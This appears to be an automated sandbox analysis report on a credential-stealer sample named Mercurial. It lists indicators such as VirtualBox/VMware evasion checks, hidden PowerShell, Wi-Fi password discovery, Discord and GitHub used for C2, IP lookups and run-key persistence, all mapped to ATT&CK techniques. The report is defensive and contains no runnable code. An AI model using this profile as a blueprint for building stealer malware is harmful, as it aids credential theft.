mercurialgrabber | d63626bd4c0a7e6103d99431bdc47374d7e2ac10ac13969216b499d7d26c6d06

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Mercurial.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Mercurial.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
157	668	msiexec.exe
237	4668	powershell.exe
238	5512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4668	powershell.exe
5388	powershell.exe
5512	powershell.exe
1260	powershell.exe
6012	powershell.exe
2036	powershell.exe
1168	powershell.exe
1728	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
87	4196	chrome.exe
511	3948	curl.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools	Mercurial.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools	Mercurial.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mercurial.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 10 IoCs

pid	Process
5620	python-3.13.2-amd64.exe
3624	python-3.13.2-amd64.exe
5324	python.exe
712	python.exe
3488	py.exe
1712	python.exe
5992	pyw.exe
1904	pythonw.exe
5396	pyw.exe
4208	pythonw.exe

Loads dropped DLL 64 IoCs

pid	Process
3624	python-3.13.2-amd64.exe
6128	MsiExec.exe
5324	python.exe
5324	python.exe
5324	python.exe
5324	python.exe
5324	python.exe
5324	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1712	python.exe
1904	pythonw.exe
1904	pythonw.exe
1904	pythonw.exe
1904	pythonw.exe
1904	pythonw.exe
1904	pythonw.exe
1904	pythonw.exe
1904	pythonw.exe
1904	pythonw.exe
1904	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4208	pythonw.exe
4576	Arctic.exe
4576	Arctic.exe
4576	Arctic.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{2f6912bf-a96d-496e-9d97-7d9b771df28d} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{2f6912bf-a96d-496e-9d97-7d9b771df28d}\\python-3.13.2-amd64.exe\" /burn.runonce"	python-3.13.2-amd64.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\E:	unregmp2.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\X:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\E:	wmplayer.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\H:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
523	raw.githubusercontent.com
533	discord.com
228	camo.githubusercontent.com
459	raw.githubusercontent.com
518	discord.com
519	discord.com
522	raw.githubusercontent.com

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
473	api.ipify.org
516	ipapi.co
517	ipapi.co
527	ipapi.co
529	ipapi.co
361	ip4.seeip.org
363	ip-api.com
379	ip-api.com
472	api.ipify.org
531	ipapi.co

Maps connected drives based on registry 3 TTPs 4 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	Mercurial.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	Mercurial.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\python-3.10.5-amd64.exe	curl.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4576-11717-0x00007FF84C5F0000-0x00007FF84CA5E000-memory.dmp	upx
behavioral1/memory/4576-11719-0x00007FF8653E0000-0x00007FF8653EF000-memory.dmp	upx
behavioral1/memory/4576-11718-0x00007FF860750000-0x00007FF860774000-memory.dmp	upx
behavioral1/memory/4576-11720-0x00007FF8606F0000-0x00007FF860709000-memory.dmp	upx
behavioral1/memory/4576-11722-0x00007FF860660000-0x00007FF860679000-memory.dmp	upx
behavioral1/memory/4576-11721-0x00007FF8640E0000-0x00007FF8640ED000-memory.dmp	upx
behavioral1/memory/4576-11723-0x00007FF860120000-0x00007FF86014D000-memory.dmp	upx
behavioral1/memory/4576-11724-0x00007FF8600E0000-0x00007FF860114000-memory.dmp	upx
behavioral1/memory/4576-11725-0x00007FF864070000-0x00007FF86407D000-memory.dmp	upx
behavioral1/memory/4576-11726-0x00007FF8600B0000-0x00007FF8600DE000-memory.dmp	upx
behavioral1/memory/4576-11730-0x00007FF85FFC0000-0x00007FF85FFEB000-memory.dmp	upx
behavioral1/memory/4576-11729-0x00007FF85FFF0000-0x00007FF8600AC000-memory.dmp	upx
behavioral1/memory/4576-11728-0x00007FF860750000-0x00007FF860774000-memory.dmp	upx
behavioral1/memory/4576-11727-0x00007FF84C5F0000-0x00007FF84CA5E000-memory.dmp	upx
behavioral1/memory/4576-11733-0x00007FF85C920000-0x00007FF85C962000-memory.dmp	upx
behavioral1/memory/4576-11734-0x00007FF8606F0000-0x00007FF860709000-memory.dmp	upx
behavioral1/memory/4576-11735-0x00007FF860640000-0x00007FF86064A000-memory.dmp	upx
behavioral1/memory/4576-11737-0x00007FF85D1A0000-0x00007FF85D1BC000-memory.dmp	upx
behavioral1/memory/4576-11736-0x00007FF8640E0000-0x00007FF8640ED000-memory.dmp	upx
behavioral1/memory/4576-11739-0x00007FF85CAB0000-0x00007FF85CADE000-memory.dmp	upx
behavioral1/memory/4576-11740-0x00007FF860120000-0x00007FF86014D000-memory.dmp	upx
behavioral1/memory/4576-11743-0x00007FF85C860000-0x00007FF85C918000-memory.dmp	upx
behavioral1/memory/4576-11745-0x00007FF85C840000-0x00007FF85C854000-memory.dmp	upx
behavioral1/memory/4576-11744-0x00007FF864070000-0x00007FF86407D000-memory.dmp	upx
behavioral1/memory/4576-11748-0x00007FF8604B0000-0x00007FF8604BB000-memory.dmp	upx
behavioral1/memory/4576-11747-0x00007FF85FFF0000-0x00007FF8600AC000-memory.dmp	upx
behavioral1/memory/4576-11746-0x00007FF8600B0000-0x00007FF8600DE000-memory.dmp	upx
behavioral1/memory/4576-11751-0x00007FF84C2F0000-0x00007FF84C408000-memory.dmp	upx
behavioral1/memory/4576-11750-0x00007FF85FFC0000-0x00007FF85FFEB000-memory.dmp	upx
behavioral1/memory/4576-11749-0x00007FF85C810000-0x00007FF85C834000-memory.dmp	upx
behavioral1/memory/4576-11742-0x00007FF8600E0000-0x00007FF860114000-memory.dmp	upx
behavioral1/memory/4576-11741-0x00007FF859C60000-0x00007FF859FD5000-memory.dmp	upx
behavioral1/memory/4576-11738-0x00007FF860660000-0x00007FF860679000-memory.dmp	upx
behavioral1/memory/4576-11753-0x00007FF85C7F0000-0x00007FF85C80F000-memory.dmp	upx
behavioral1/memory/4576-11755-0x00007FF848D20000-0x00007FF848E91000-memory.dmp	upx
behavioral1/memory/4576-11754-0x00007FF860640000-0x00007FF86064A000-memory.dmp	upx
behavioral1/memory/4576-11752-0x00007FF85C920000-0x00007FF85C962000-memory.dmp	upx
behavioral1/memory/4576-11757-0x00007FF85C2E0000-0x00007FF85C318000-memory.dmp	upx
behavioral1/memory/4576-11756-0x00007FF85D1A0000-0x00007FF85D1BC000-memory.dmp	upx
behavioral1/memory/4576-11759-0x00007FF85FF10000-0x00007FF85FF1B000-memory.dmp	upx
behavioral1/memory/4576-11758-0x00007FF85CAB0000-0x00007FF85CADE000-memory.dmp	upx
behavioral1/memory/4576-11761-0x00007FF85C9D0000-0x00007FF85C9DB000-memory.dmp	upx
behavioral1/memory/4576-11760-0x00007FF859C60000-0x00007FF859FD5000-memory.dmp	upx
behavioral1/memory/4576-11768-0x00007FF85C810000-0x00007FF85C834000-memory.dmp	upx
behavioral1/memory/4576-11769-0x00007FF85BF90000-0x00007FF85BF9C000-memory.dmp	upx
behavioral1/memory/4576-11778-0x00007FF85BF40000-0x00007FF85BF4B000-memory.dmp	upx
behavioral1/memory/4576-11780-0x00007FF85BF20000-0x00007FF85BF2C000-memory.dmp	upx
behavioral1/memory/4576-11788-0x00007FF85BE00000-0x00007FF85BE1C000-memory.dmp	upx
behavioral1/memory/4576-11787-0x00007FF85BE20000-0x00007FF85BE34000-memory.dmp	upx
behavioral1/memory/4576-11796-0x00007FF85BBB0000-0x00007FF85BBBE000-memory.dmp	upx
behavioral1/memory/4576-11798-0x00007FF85BAA0000-0x00007FF85BABC000-memory.dmp	upx
behavioral1/memory/4576-11797-0x00007FF85BEE0000-0x00007FF85BEF2000-memory.dmp	upx
behavioral1/memory/4576-11800-0x00007FF859C30000-0x00007FF859C59000-memory.dmp	upx
behavioral1/memory/4576-11804-0x00007FF848AC0000-0x00007FF848D12000-memory.dmp	upx
behavioral1/memory/4576-11803-0x00007FF85BE50000-0x00007FF85BE65000-memory.dmp	upx
behavioral1/memory/4576-11799-0x00007FF85BED0000-0x00007FF85BEDC000-memory.dmp	upx
behavioral1/memory/4576-11795-0x00007FF85BF00000-0x00007FF85BF0D000-memory.dmp	upx
behavioral1/memory/4576-11794-0x00007FF85BD70000-0x00007FF85BDB1000-memory.dmp	upx
behavioral1/memory/4576-11793-0x00007FF85BF10000-0x00007FF85BF1C000-memory.dmp	upx
behavioral1/memory/4576-11792-0x00007FF85BDC0000-0x00007FF85BDD5000-memory.dmp	upx
behavioral1/memory/4576-11791-0x00007FF85BF20000-0x00007FF85BF2C000-memory.dmp	upx
behavioral1/memory/4576-11790-0x00007FF85BDE0000-0x00007FF85BDF3000-memory.dmp	upx
behavioral1/memory/4576-11789-0x00007FF85BF30000-0x00007FF85BF3B000-memory.dmp	upx
behavioral1/memory/4576-11786-0x00007FF85BE40000-0x00007FF85BE50000-memory.dmp	upx

Drops file in Windows directory 51 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e58c661.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c661.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c639.msi	msiexec.exe
File created	C:\Windows\Installer\e58c647.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{89609059-34FF-4C34-8D70-2FF7FA4B2490}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI25D4.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDC25.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c64d.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E77A600D-F93D-4182-A270-FFBEC7D476B9}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF00C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4248.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c643.msi	msiexec.exe
File created	C:\Windows\Installer\e58c64d.msi	msiexec.exe
File created	C:\Windows\Installer\e58c652.msi	msiexec.exe
File created	C:\Windows\Installer\e58c656.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c657.msi	msiexec.exe
File created	C:\Windows\Installer\e58c65c.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5E8E4228-121B-49EA-9CC2-B8E3CBED5080}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6B2067F5-FABB-4E5D-9769-ACF1886A7281}	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c63e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI127A.tmp	msiexec.exe
File created	C:\Windows\Installer\e58c657.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI41E9.tmp	msiexec.exe
File created	C:\Windows\Installer\e58c665.msi	msiexec.exe
File created	C:\Windows\Installer\e58c63e.msi	msiexec.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe
File created	C:\Windows\Installer\e58c639.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e58c64c.msi	msiexec.exe
File created	C:\Windows\Installer\e58c65b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c65c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3FA6.tmp	msiexec.exe
File created	C:\Windows\Installer\e58c643.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICFE0.tmp	msiexec.exe
File created	C:\Windows\Installer\e58c648.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A8BA555F-4CCF-4B73-8205-C9529D178E57}	msiexec.exe
File created	C:\Windows\Installer\e58c660.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5EEECB0A-2BEA-4A17-8F52-33853A198059}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICB5B.tmp	msiexec.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe
File opened for modification	C:\Windows\Installer\MSIC8E9.tmp	msiexec.exe
File created	C:\Windows\Installer\e58c63d.msi	msiexec.exe
File created	C:\Windows\Installer\e58c642.msi	msiexec.exe
File created	C:\Windows\Installer\e58c651.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C7213DDA-56FA-4C9E-BA0C-1C907366F456}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{7864E49A-A67D-4FA4-A3A6-E5049FCBBBF0}	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c648.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c652.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{78405CCF-67BD-4630-ADE2-ADB5D09AC347}	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Program crash 1 IoCs

pid	pid_target	Process	procid_target
668	4416	WerFault.exe	85

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.13.2-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.13.2-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmplayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unregmp2.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5080	netsh.exe
2400	cmd.exe
5928	netsh.exe
6124	cmd.exe
4848	netsh.exe
1324	cmd.exe

Checks SCSI registry key(s) 3 TTPs 2 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	Mercurial.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	Mercurial.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Mercurial.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Mercurial.exe

Enumerates system info in registry 2 TTPs 11 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	Mercurial.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	Mercurial.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133854788430499686"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\CPython-3.13	python-3.13.2-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{89609059-34FF-4C34-8D70-2FF7FA4B2490}\DisplayName = "Python 3.13.2 Standard Library (64-bit)"	python-3.13.2-amd64.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{E77A600D-F93D-4182-A270-FFBEC7D476B9}\Version = "3.13.2150.0"	python-3.13.2-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.File	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.NoConFile\ = "Python File (no console)"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.CompiledFile\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",2"	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{89609059-34FF-4C34-8D70-2FF7FA4B2490}\ = "{89609059-34FF-4C34-8D70-2FF7FA4B2490}"	python-3.13.2-amd64.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\CPython-3.13\Version = "3.13.2150.0"	python-3.13.2-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.NoConFile\Shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\pyw.exe\" \"%L\" %*"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\.pyz\Content Type = "application/x-zip-compressed"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.NoConArchiveFile	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell	chrome.exe
